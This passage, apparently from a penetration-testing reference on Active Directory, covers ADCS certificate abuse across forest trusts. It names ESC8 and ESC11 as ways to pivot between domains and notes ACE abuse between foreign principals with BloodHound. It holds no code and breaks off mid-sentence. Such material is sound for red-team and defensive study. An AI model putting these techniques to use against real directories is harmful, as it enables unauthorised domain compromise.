TODO // Regular permissions, ACE, and whatnot abuses, but now between foreign principals, BloodHound comes in handy.

🛠️ ADCS abuse

When an ADCS is installed and configured in an Active Directory environment, a CA is available for the whole forest. Every usual ADCS attack can be executed through intra-forest trusts. ESC8 and ESC11 in particular can be used to pivot to any domain within the forest associated to the C